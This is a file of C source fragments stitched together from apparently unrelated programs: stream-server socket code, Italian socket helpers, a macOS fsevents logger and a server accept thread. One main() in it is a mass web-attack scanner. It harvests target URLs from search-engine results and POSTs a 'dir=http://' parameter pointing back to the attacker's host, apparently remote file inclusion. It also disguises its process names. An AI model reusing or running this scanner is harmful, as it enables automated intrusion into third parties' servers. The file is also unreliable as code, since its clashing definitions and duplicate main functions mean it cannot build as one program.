void stream_send_dataToClient(int sindex, int nLen, unsigned char * pData, Stream_Head_t* fh)
{
int nRet = -1;
int cnt = 0;
int sendsocket = -1;
int fh_len = sizeof(Stream_Head_t);
int data_len = nLen;
int send_len = 0;
for (cnt = 0; cnt < RH_MAX_CLIENTS; cnt++)
{
if (is_used(sindex, cnt))
{
sendsocket = get_sock(sindex, cnt);
if (sendsocket > 0)
{
send_len = fh_len;
nRet = socket_tcp_sendNonBlock(sendsocket, (char *)fh, &send_len, 300);
if (nRet < 0 || send_len != fh_len)
{
close(sendsocket);
set_client_used(sindex, cnt, FALSE);
set_sock(sindex, cnt, INVALID_SOCKET);
printf("xxx Error: SOCK = %d count =%d errno=%d<%s> ret = %d\n", sendsocket, cnt, errno,strerror(errno), nRet);
continue;
}
send_len = data_len;
nRet = socket_tcp_sendNonBlock(sendsocket, (char *)pData, &send_len, 300);
if (nRet < 0 || send_len != data_len)
{
close(sendsocket);
set_client_used(sindex, cnt, FALSE);
set_sock(sindex, cnt, INVALID_SOCKET);
printf("Error: SOCK = %d count = %d errno = %d ret = %d\n", sendsocket, cnt, errno, nRet);
continue;
}
}
}
}
}
static void clear_lost_client(int sindex)
{
int cli ;
for (cli = 0; cli < RH_MAX_CLIENTS; cli++)
{
if (!is_used(sindex, cli) && is_sock(sindex, cli))
{
close(get_sock(sindex, cli));
set_sock(sindex, cli, INVALID_SOCKET);
}
}
}
int UDP_sock(in_port_t port){
int sock;
struct sockaddr_in Local;
sock = get_sock(SOCK_DGRAM);
set_sock(sock);
name_sock(&Local, htonl(INADDR_ANY), port);
bind_sock(sock, &Local);
printf("Socket UDP sulla porta %d creato\n", ntohs(port));
return sock;
}
int TCP_sock_snd(in_addr_t ip, in_port_t port){
int sock;
char ipstr[15];
struct sockaddr_in Local, To;
inet_ntop(AF_INET, &ip, ipstr,(socklen_t)15); /* conversione a stringa dell'ip per stamparlo */
sock = get_sock(SOCK_STREAM);
set_sock(sock);
name_sock(&Local, htonl(INADDR_ANY), 0);
bind_sock(sock, &Local);
name_sock(&To, ip, port);
connect_sock(sock, &To);
printf ("Connessione TCP con %s avvenuta\n",ipstr);
return sock;
}
int TCP_sock_rcv(in_port_t port){
int sock, sock_rcv;
int porta;
struct sockaddr_in Local, From;
char ipstr[15];
porta = ntohs(port);
sock = get_sock(SOCK_STREAM);
set_sock(sock);
name_sock(&Local, htonl(INADDR_ANY), port);
bind_sock(sock, &Local);
listen_sock(sock);
printf("Attendo una connessione TCP sulla porta %d\n\n", porta);
sock_rcv = accept_sock(sock, &From);
inet_ntop(AF_INET, &From.sin_addr, ipstr,(socklen_t)15); /* conversione a stringa dell'ip per stamparlo */
printf("Connessione TCP da %s : %d\n\n", ipstr, ntohs(From.sin_port));
return sock_rcv;
}
int main(int argc,char *argv[])
{
FILE *fp;
int tnum=(SCS);
int chk=(SCS);
int gogo=(SCS);
int whgl=(SCS);
int qnum=(SCS);
int tgrl_sl=(MIN);
int _conn_num=(SCS);
int port=(CONN_PORT);
int def_port=(DEF_PORT);
int sc_gt_sock;
int host_chk=(SCS);
u_char *gg_ptr=NULL;
u_char *t_ptr=NULL;
u_char __zr_bf[(MAX_BUF)];
u_char *port_ptr=NULL;
char pkt[(FIR_BUF)];
char host[(SEC_BUF)];
char url[(SEC_BUF)];
char test_bf[(MAX_BUF)];
char req_t_bf[(THR_BUF)];
char ip[(MIN_BUF)];
char atk_code[(MIN_BUF)];
signal(SIGINT,sf_exit);
signal(SIGTSTP,sf_exit);
while((whgl=getopt(argc,argv,"S:s:T:t:Q:q:P:p:H:h:U:u:"))!=EOF)
{
extern char *optarg;
switch(whgl)
{
case 'S':
case 's':
tnum=atoi(optarg);
if(SEARCH_NUM<tnum)
{
fprintf(stderr,"target error\n");
exit(-1);
}
break;
case 'T':
case 't':
tgrl_sl=atoi(optarg);
if(TARGET_NUM<tgrl_sl)
{
fprintf(stderr,"target error\n");
exit(-1);
}
break;
case 'Q':
case 'q':
qnum=atoi(optarg);
break;
case 'P':
case 'p':
def_port=atoi(optarg);
break;
case 'H':
case 'h':
memset((char *)host,0,sizeof(host));
strncpy(host,optarg,sizeof(host)-1);
host_chk++;
break;
case 'U':
case 'u':
memset((char *)url,0,sizeof(url));
strncpy(url,optarg,sizeof(url)-1);
host_chk++;
break;
default:
exit(-1);
}
}
(int)make_cmd_file();
if(fork()==0)
{
signal(SIGALRM,SIG_IGN);
for(whgl=0;whgl<argc;whgl++)
{
memset((char *)argv[whgl],0,strlen(argv[whgl]));
}
strcpy(argv[0],"receive mode process");
if((fp=fopen(PRC_FILE,"w"))==NULL)
{
sf_exit();
}
fprintf(fp,"%d\n",getpid());
fclose(fp);
sc_gt_sock=(int)set_sock(NULL,def_port,1);
(void)re_connt_lm(sc_gt_sock,0);
}
else
{
for(whgl=0;whgl<argc;whgl++)
{
memset((char *)argv[whgl],0,strlen(argv[whgl]));
}
strcpy(argv[0],"scanning mode process");
switch(host_chk)
{
case 1:
#ifdef DEBUG_ING
fprintf(stdout,"argument error\n");
#endif
sf_exit();
break;
case 2:
goto ok;
break;
}
#ifdef DEBUG_ING
fprintf(stdout,"search url: %s\n",search_va[tnum].url);
#endif
for(_conn_num=qnum; _conn_num< search_va[tnum].maxnum; _conn_num += (search_va[tnum].defnum))
{
conn: if((sock=(int)set_sock(search_va[tnum].url,(CONN_PORT),0))==-1)
{
goto conn;
}
memset((char *)req_t_bf,0,sizeof(req_t_bf));
switch(search_va[tnum].num)
{
case 0:
snprintf(req_t_bf,sizeof(req_t_bf)-1,
"GET /search?q=%s"
"&hl=ko&lr=&ie=UTF-8&start=%d&sa=N "
"HTTP/1.0\r\n\r\n",(__tg_rule_va[tgrl_sl].r_str),_conn_num);
break;
case 1:
snprintf(req_t_bf,sizeof(req_t_bf)-1,
"GET /search/web?p=%s&b=%d "
"HTTP/1.0\r\n\r\n",(__tg_rule_va[tgrl_sl].r_str),_conn_num);
break;
case 2:
snprintf(req_t_bf,sizeof(req_t_bf)-1,
"GET /webpage/search.asp?query=%s&start=%d "
"HTTP/1.0\r\n\r\n",(__tg_rule_va[tgrl_sl].r_str),_conn_num);
break;
case 3:
snprintf(req_t_bf,sizeof(req_t_bf)-1,
"GET /default.asp?query=%s&first=%d&pmore=more "
"HTTP/1.0\r\n"
"Accept-Language: ko\r\n"
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n"
"Host: %s\r\n\r\n",(__tg_rule_va[tgrl_sl].r_str),_conn_num,search_va[tnum].url);
break;
case 4:
snprintf(req_t_bf,sizeof(req_t_bf)-1,
"GET /web/results?itag=wrx&q=%s&stq=%d "
"HTTP/1.0\r\n"
"Accept-Language: ko\r\n"
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n"
"Host: %s\r\n\r\n",(__tg_rule_va[tgrl_sl].r_str),_conn_num,search_va[tnum].url);
break;
}
send(sock,req_t_bf,strlen(req_t_bf),0);
whgl=(SCS);
if((fp=fopen(TMP_FILE,"w"))==NULL)
{
return(-1);
}
signal(SIGALRM,SIG_IGN);
alarm(MAX_BUF);
memset((char *)test_bf,0,sizeof(test_bf));
while(recv(sock,test_bf,sizeof(test_bf)-1,0))
{
fprintf(fp,"%s",test_bf);
memset((char *)test_bf,0,sizeof(test_bf));
}
fclose(fp);
close(sock);
if((fp=fopen(TMP_FILE,"r"))==NULL)
{
return(-1);
}
while(fgets(__zr_bf,sizeof(__zr_bf)-1,fp))
{
gg_ptr=__zr_bf;
while(MIN)
{
t_ptr=(char *)strstr(gg_ptr,search_va[tnum].http_head);
gg_ptr=(char *)strstr(gg_ptr,search_va[tnum].http_head) + strlen(search_va[tnum].http_head);
if(t_ptr!=NULL)
{
memset((char *)test_bf,0,sizeof(test_bf));
whgl=(SCS);
chk=(SCS);
for(gogo=0;gogo<strlen(t_ptr);gogo++)
{
if(chk)
{
if(t_ptr[gogo]=='>')
chk=0;
}
else {
if(t_ptr[gogo]==' ')
continue;
else if(t_ptr[gogo]=='<')
chk=1;
else test_bf[whgl++]=t_ptr[gogo];
}
}
if(!strstr(test_bf,__tg_rule_va[tgrl_sl].r_str))
continue;
else t_ptr=(char *)strstr(test_bf,__tg_rule_va[tgrl_sl].r_str);
if(t_ptr!=NULL)
t_ptr[0]='\0';
else continue;
if(filter_f(test_bf,tnum))
{
t_ptr=(char *)strstr(test_bf,search_va[tnum].http_head) + strlen(search_va[tnum].http_head);
if(strstr(t_ptr,search_va[tnum].http_head))
continue;
memset((char *)host,0,sizeof(host));
memset((char *)url,0,sizeof(url));
chk=(SCS);
if(strstr(test_bf,search_va[tnum].http_head))
{
t_ptr=(char *)strstr(test_bf,search_va[tnum].http_head) + strlen(search_va[tnum].http_head);
port=(CONN_PORT);
for(whgl=0;whgl<strlen(t_ptr)+1;whgl++)
{
if(t_ptr[whgl]=='/')
{
for(gogo=0;whgl<strlen(t_ptr);whgl++)
url[gogo++]=t_ptr[whgl];
strcat(url,__tg_rule_va[tgrl_sl].url_str);
break;
}
else if(t_ptr[whgl]=='\0')
{
strncpy(url,__tg_rule_va[tgrl_sl].url_str,sizeof(url)-1);
break;
}
else if(t_ptr[whgl]==':')
{
port_ptr=(char *)strstr(t_ptr,":")+1;
port=atoi(port_ptr);
}
else host[chk++]=t_ptr[whgl];
}
#ifdef DEBUG_ING
fprintf(stdout,"Total:%s,URL:%s,HOST:%s,PORT:%d\n",test_bf,url,host,port);
#endif
ok:
sock=set_sock(host,port,0);
if(sock==-1)
continue;
else {
memset((char *)ip,0,sizeof(ip));
memset((char *)atk_code,0,sizeof(atk_code));
memset((char *)pkt,0,sizeof(pkt));
(int)g_ip(ip);
snprintf(atk_code,sizeof(atk_code)-1,"dir=http://%s:%d/\r\n",ip,def_port);
snprintf(pkt,sizeof(pkt)-1,
"POST http://%s%s HTTP/1.0\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: %d\r\n"
"Host: %s\r\n\r\n%s\r\n",host,url,strlen(atk_code),host,atk_code);
send(sock,pkt,strlen(pkt),0);
memset((char *)pkt,0,sizeof(pkt));
recv(sock,pkt,sizeof(pkt)-1,0);
#ifdef DEBUG_ING
if(strstr(pkt,RESULT_OK))
{
if(strstr(pkt,MAKE_STR1))
fprintf(stdout,"%s\n",MAKE_STR1);
if(strstr(pkt,MAKE_STR2))
fprintf(stdout,"%s\n",MAKE_STR2);
if(strstr(pkt,DELT_STR1))
fprintf(stdout,"%s\n",DELT_STR1);
if(strstr(pkt,DELT_STR2))
fprintf(stdout,"%s\n",DELT_STR2);
printf("%s: %s\n",RESULT_OK,host);
}
#endif
}
close(sock);
if(host_chk)
{
sf_exit();
}
}
}
}
else break;
}
memset((char *)__zr_bf,0,sizeof(__zr_bf));
}
fclose(fp);
unlink(TMP_FILE);
}
sf_exit();
}
}
void set_sock(const int sock, int type, bool flag_v6 = false)
{
set_sock(sock, flag_v6);
m_ts_begin = m_ts_update = m_ts_end = time(NULL);
m_type = type;
}
int
main(int argc, char **argv)
{
int32_t arg_id;
int fd, clonefd = -1;
int i, j, eoff, off, ret;
FILE* onf;
char msg[MAX_SEND];
int c;
int mlen = 0;
int udp = 0;
int det = 0;
char fname[MAX_FILENAME] = "";
char raddr[MAX_IP] = "127.0.0.1";
int rport = 12345;
kfs_event_arg_t *kea;
struct fsevent_clone_args fca;
char buffer[FSEVENT_BUFSIZ];
struct passwd *p;
struct group *g;
mode_t va_mode;
u_int32_t va_type;
u_int32_t is_fse_arg_vnode = 0;
char fileModeString[11 + 1];
int8_t event_list[] = { // action to take for each event
FSE_REPORT, // FSE_CREATE_FILE,
FSE_REPORT, // FSE_DELETE,
FSE_REPORT, // FSE_STAT_CHANGED,
FSE_REPORT, // FSE_RENAME,
FSE_REPORT, // FSE_CONTENT_MODIFIED,
FSE_REPORT, // FSE_EXCHANGE,
FSE_REPORT, // FSE_FINDER_INFO_CHANGED,
FSE_REPORT, // FSE_CREATE_DIR,
FSE_REPORT, // FSE_CHOWN,
FSE_REPORT, // FSE_XATTR_MODIFIED,
FSE_REPORT, // FSE_XATTR_REMOVED,
};
// Print usage if not root
if (geteuid() != 0){
usage();
exit(1);
}
onf = stdout;
opterr = 0;
while ((c = getopt (argc, argv, "huf:s:p:")) != -1)
switch (c){
case 'f':
strncpy(fname,optarg,MAX_FILENAME - 1);
onf = fopen(fname,"w");
if (onf == NULL){
fprintf(stderr, "Cannot open output file %s.\n\n",optarg);
usage();
exit(1);
}
break;
case 'u':
udp = 1;
break;
case 's':
strncpy(raddr,optarg,MAX_IP);
break;
case 'p':
rport = atoi( optarg );
break;
case 'h':
case '?':
if (optopt == 'f'){
fprintf(stderr, "Output filename required.\n");
usage();
exit(1);
}
usage();
exit(1);
}
setbuf(onf, NULL);
//Set UDP Socket
set_dest(raddr, rport);
set_sock();
if ((fd = open(DEV_FSEVENTS, O_RDONLY)) < 0) {
perror("open");
exit(1);
}
fca.event_list = (int8_t *)event_list;
fca.num_events = sizeof(event_list)/sizeof(int8_t);
fca.event_queue_depth = EVENT_QUEUE_SIZE;
fca.fd = &clonefd;
if ((ret = ioctl(fd, FSEVENTS_CLONE, (char *)&fca)) < 0) {
perror("ioctl");
close(fd);
exit(1);
}
close(fd);
//YAML comments lines start with '#'. Use this for debug and status statements
snprintf(msg, MAX_DATA,"#fsevents device cloned (fd %d)\n#fslogger ready\n",clonefd);
if (udp){
send_packet(msg, strlen(msg));
} else {
fprintf(onf,"%s",msg);
// Since we use setbuf this might not be necessary. Let's do it anyway.
fflush(onf);
}
if ((ret = ioctl(clonefd, FSEVENTS_WANT_EXTENDED_INFO, NULL)) < 0) {
perror("ioctl");
close(clonefd);
exit(1);
}
while (1) { // event processing loop
if ((ret = read(clonefd, buffer, FSEVENT_BUFSIZ)) > 0){
snprintf(msg, MAX_DATA, "# => received %d bytes\n", ret);
if (udp){
send_packet(msg, strlen(msg));
} else {
fprintf(onf,"%s", msg);
fflush(onf);
}
}
off = 0;
while (off < ret) { // process one or more events received
// Start message over
mlen = 0;
struct kfs_event *kfse = (struct kfs_event *)((char *)buffer + off);
off += sizeof(int32_t) + sizeof(pid_t); // type + pid
//Use snprintf for formatting to permit concantenting the message together
mlen += snprintf(msg + mlen, MAX_DATA, "---\n");
if (kfse->type == FSE_EVENTS_DROPPED) { // special event
mlen += snprintf(msg + mlen, MAX_DATA, "Event:\n");
mlen += snprintf(msg + mlen, MAX_DATA, " %s: %s\n", "type", "EVENTS_DROPPED");
mlen += snprintf(msg + mlen, MAX_DATA, " %s: %d\n", "pid", kfse->pid);
// Special event with continue. So send data then restart loop
if (udp){
send_packet(msg, strlen(msg));
} else {
fprintf(onf,"%s", msg);
fflush(onf);
}
off += sizeof(u_int16_t); // FSE_ARG_DONE: sizeof(type)
continue;
}
int32_t atype = kfse->type & FSE_TYPE_MASK;
uint32_t aflags = FSE_GET_FLAGS(kfse->type);
if ((atype < FSE_MAX_EVENTS) && (atype >= -1)) {
mlen += snprintf(msg + mlen, MAX_DATA, "Event:\n");
mlen += snprintf(msg + mlen, MAX_DATA, " %s: %s", "type", kfseNames[atype]);
if (aflags & FSE_COMBINED_EVENTS) {
mlen += snprintf(msg + mlen, MAX_DATA,"%s", ", combined events");
}
if (aflags & FSE_CONTAINS_DROPPED_EVENTS) {
mlen += snprintf(msg + mlen, MAX_DATA, "%s", ", contains dropped events");
}
mlen += snprintf(msg + mlen,MAX_DATA, "%s","\n");
} else { // should never happen
mlen += snprintf(msg + mlen, MAX_DATA, "# This may be a program bug (type = %d).\n", atype);
// Special event with exit. So send data
if (udp){
send_packet(msg, strlen(msg));
} else {
fprintf(onf,"%s", msg);
fflush(onf);
}
exit(1);
}
mlen += snprintf(msg + mlen, MAX_DATA, " %s: %d\n", "pid", kfse->pid);
mlen += snprintf(msg + mlen, MAX_DATA, " %s: %s\n", "pname", get_proc_name(kfse->pid));
mlen += snprintf(msg + mlen, MAX_DATA, "%s", "Details:\n");
kea = kfse->args;
i = 0;
//while ((off < ret) && (i <= FSE_MAX_ARGS)) { // process arguments
while (off < ret) {
i++;
if (kea->type == FSE_ARG_DONE) { // no more arguments
mlen += snprintf(msg + mlen, MAX_DATA, " %s:\n", "FSE_ARG_DONE");
// Added Length for FSE_ARG_DONE to be consistent with other values
mlen += snprintf(msg + mlen, MAX_DATA, " %s: %d\n", "len", 0);
// Added Type for FSE_ARG_DONE to be consistent with other values
mlen += snprintf(msg + mlen, MAX_DATA, " %s: %d\n", "type", kea->type);
//This should be the only time to send data for a YAML doc which is a full FSEVENT
if (udp){
send_packet(msg, strlen(msg));
} else {
fprintf(onf,"%s", msg);
fflush(onf);
}
det = 0;
off += sizeof(u_int16_t);
break;
}
eoff = sizeof(kea->type) + sizeof(kea->len) + kea->len;
off += eoff;
arg_id = (kea->type > FSE_MAX_ARGS) ? 0 : kea->type;
// Do no put detail marker on timestamp
if (arg_id == 5){
mlen += snprintf(msg + mlen, MAX_DATA, " %s:\n", kfseArgNames[arg_id]);
} else {
mlen += snprintf(msg + mlen, MAX_DATA, " %s_%d:\n", kfseArgNames[arg_id],det);
}
mlen += snprintf(msg + mlen, MAX_DATA, " %s: %d\n", "len", kea->len);
switch (kea->type) { // handle based on argument type
case FSE_ARG_VNODE: // a vnode (string) pointer
is_fse_arg_vnode = 1;
mlen += snprintf(msg + mlen, MAX_DATA, " %s: %s\n", "path", (char *)&(kea->data.vp));
break;
case FSE_ARG_STRING: // a string pointer
// Added double quotes to protect strings with ":"s
// Actually, to handle "\" it needs to be a single quote
mlen += snprintf(msg + mlen, MAX_DATA, " %s: \'%s\'\n", "string", (char *)&(kea->data.str)-4);
break;
case FSE_ARG_INT32:
mlen += snprintf(msg + mlen, MAX_DATA, " %s: %d\n", "int32", kea->data.int32);
break;
case FSE_ARG_RAW: // a void pointer
mlen += snprintf(msg + mlen, MAX_DATA, " %s: ", "ptr");
for (j = 0; j < kea->len; j++)
mlen += snprintf(msg + mlen, MAX_DATA, "%02x ", ((char *)kea->data.ptr)[j]);
mlen += snprintf(msg + mlen, MAX_DATA, "%s", "\n");
break;
case FSE_ARG_INO: // an inode number
mlen += snprintf(msg + mlen, MAX_DATA, " %s: %d\n", "ino", (int)kea->data.ino);
break;
case FSE_ARG_UID: // a user ID
p = getpwuid(kea->data.uid);
mlen += snprintf(msg + mlen, MAX_DATA, " %s: %d (%s)\n", "uid", kea->data.uid, (p) ? p->pw_name : "?");
break;
case FSE_ARG_DEV: // a file system ID or a device number
if (is_fse_arg_vnode) {
mlen += snprintf(msg + mlen, MAX_DATA, " %s: %#08x\n", "fsid", kea->data.dev);
is_fse_arg_vnode = 0;
} else {
mlen += snprintf(msg + mlen, MAX_DATA, " %s: %#08x (major %u, minor %u)\n", "dev", kea->data.dev, major(kea->data.dev), minor(kea->data.dev));
}
break;
case FSE_ARG_MODE: // a combination of file mode and file type
va_mode = (kea->data.mode & 0x0000ffff);
va_type = (kea->data.mode & 0xfffff000);
strmode(va_mode, fileModeString);
va_type = iftovt_tab[(va_type & S_IFMT) >> 12];
mlen += snprintf(msg + mlen, MAX_DATA, " %s: %s (%#08x, vnode type %s)", "mode", fileModeString, kea->data.mode, (va_type < VTYPE_MAX) ? vtypeNames[va_type] : "?");
if (kea->data.mode & FSE_MODE_HLINK) {
mlen += snprintf(msg + mlen, MAX_DATA, "%s", ", hard link");
}
if (kea->data.mode & FSE_MODE_LAST_HLINK) {
mlen += snprintf(msg + mlen, MAX_DATA, "%s", ", link count zero now");
}
mlen += snprintf(msg + mlen, MAX_DATA, "%s", "\n");
break;
case FSE_ARG_GID: // a group ID
g = getgrgid(kea->data.gid);
mlen += snprintf(msg + mlen, MAX_DATA, " %s: %d (%s)\n", "gid", kea->data.gid, (g) ? g->gr_name : "?");
// This is usually the last value before everything repeats. Inc det
det += 1;
break;
case FSE_ARG_INT64: // timestamp
mlen += snprintf(msg + mlen, MAX_DATA, " %s: %llu\n", "tstamp", kea->data.timestamp);
break;
default:
mlen += snprintf(msg + mlen, MAX_DATA, " %s = ?\n", "unknown");
break;
}
kea = (kfs_event_arg_t *)((char *)kea + eoff); // next
} // for each argument
} // for each event
} // forever
close(clonefd);
// Only close output file if it is not stdout
if (argc == 2) {
fclose(onf);
}
exit(0);
}
static int privServer_process_thread(void * arg)
{
struct sockaddr_in ClientAddr;
int sClientSocket = -1;
int ServSock = -1;
pthread_t client_threadid[RH_MAX_CLIENTS] = {0};
void *ret = 0;
int clientsocket = 0;
int nLen = 0;
int ipos = 0;
Server_PosIndex_t cli_info[RH_MAX_CLIENTS];
Stream_Server_t *stream_net_info = (Stream_Server_t *)arg;
privServer_init_pos(stream_net_info->sindex);
for (ipos = 0; ipos < RH_MAX_CLIENTS; ipos++)
{
memset(&(cli_info[ipos]),0,sizeof(Server_PosIndex_t));
}
SERVERSTARTRUN:
ServSock = create_tcpBind(stream_net_info->port, stream_net_info->ip);
printf("[%s:%d]\n", stream_net_info->ip, stream_net_info->port);
printf("[%s:%d]--ServSock=%d\n",stream_net_info->ip, stream_net_info->port,ServSock);
if (ServSock < 0)
{
printf("RH_CreateTcpBindFd error:%d,error msg: = %stream_net_info", errno, strerror(errno));
if(errno != EAGAIN || errno != EINTR)
{
;
}
sleep(3);
ServSock = INVALID_SOCKET;
goto Exit_pthread;
}
if (listen(ServSock, 100) < 0)
{
printf("listen error:%d,error msg: = %s", errno, strerror(errno));
close(ServSock);
if (errno != EAGAIN || errno != EINTR)
{
;// exit(0);
}
sleep(3);
ServSock = INVALID_SOCKET;
goto Exit_pthread;
}
if (setNonblock_fd(ServSock) < 0)
{
printf("RH_SetNonblockFd error:%d,error msg: = %s\n", errno, strerror(errno));
close(ServSock);
if (errno != EAGAIN || errno != EINTR)
{
// exit(0);
}
sleep(3);
ServSock = INVALID_SOCKET;
goto Exit_pthread;
}
int FdSendBuf = 655350;
nLen = sizeof(struct sockaddr_in);
while(1)
{
memset(&ClientAddr, 0, sizeof(struct sockaddr_in));
sClientSocket=0;
nLen = sizeof(struct sockaddr_in);
sClientSocket = accept(ServSock, (void *)&ClientAddr, (unsigned int *)&nLen);
if (sClientSocket > 0)
{
printf("accept success!!!!ip=[%s]--sClientSocket=%d\n",inet_ntoa(ClientAddr.sin_addr), sClientSocket);
int nPos = 0;
clear_lost_client(stream_net_info->sindex);
nPos = privServer_get_nullPos(stream_net_info->sindex);
if (-1 == nPos)
{
close(sClientSocket);
printf("MAXCLIENT ERR[%s:%d]\n", stream_net_info->ip, stream_net_info->port);
}
else
{
cli_info[nPos].index = stream_net_info->sindex;
cli_info[nPos].pos = nPos;
set_client_used(stream_net_info->sindex, nPos, TRUE);
set_sock(stream_net_info->sindex, nPos, sClientSocket) ;
if (set_sendBufSize(sClientSocket, FdSendBuf) != 0)
{
printf("RH_SetSndBufSizeFd Is Error!<fd :%d>\n", sClientSocket);
}
FdSendBuf = get_sendBufSize(sClientSocket);
if (setNonblock_fd(sClientSocket) != 0)
{
printf("RH_SetSndBufSizeFd Is Error!<fd :%d>\n", sClientSocket);
}
}
}
else
{
if (sClientSocket > 0)
{
close(sClientSocket);
printf("close sClientSocket socket!!! %d\n", sClientSocket);
sClientSocket = -1;
}
if(errno == ECONNABORTED || errno == EAGAIN)
//Èí¼þÔÒòÖжÏ
{
usleep(100000);
continue;
}
if (ServSock > 0)
{
printf("close enclive socket!!! %d\n", ServSock);
close(ServSock);
ServSock = INVALID_SOCKET;
sleep(1);
}
goto SERVERSTARTRUN;
}
}
Exit_pthread:
printf("exit the drawtimethread \n");
for (ipos = 0; ipos < RH_MAX_CLIENTS; ipos++)
{
if (client_threadid[ipos])
{
clientsocket = get_sock(stream_net_info->sindex, ipos);
if (clientsocket != INVALID_SOCKET)
{
close(clientsocket);
set_sock(stream_net_info->sindex, ipos, INVALID_SOCKET);
}
if (pthread_join(client_threadid[ipos], &ret) == 0)
{
}
}
}
printf("close the encoder server socket \n");
if (ServSock > 0)
{
printf("close gserv socket \n");
close(ServSock);
}
if (stream_net_info)
{
free(stream_net_info);
stream_net_info = NULL;
}
ServSock = INVALID_SOCKET;
printf("End.\n");
return 0;
}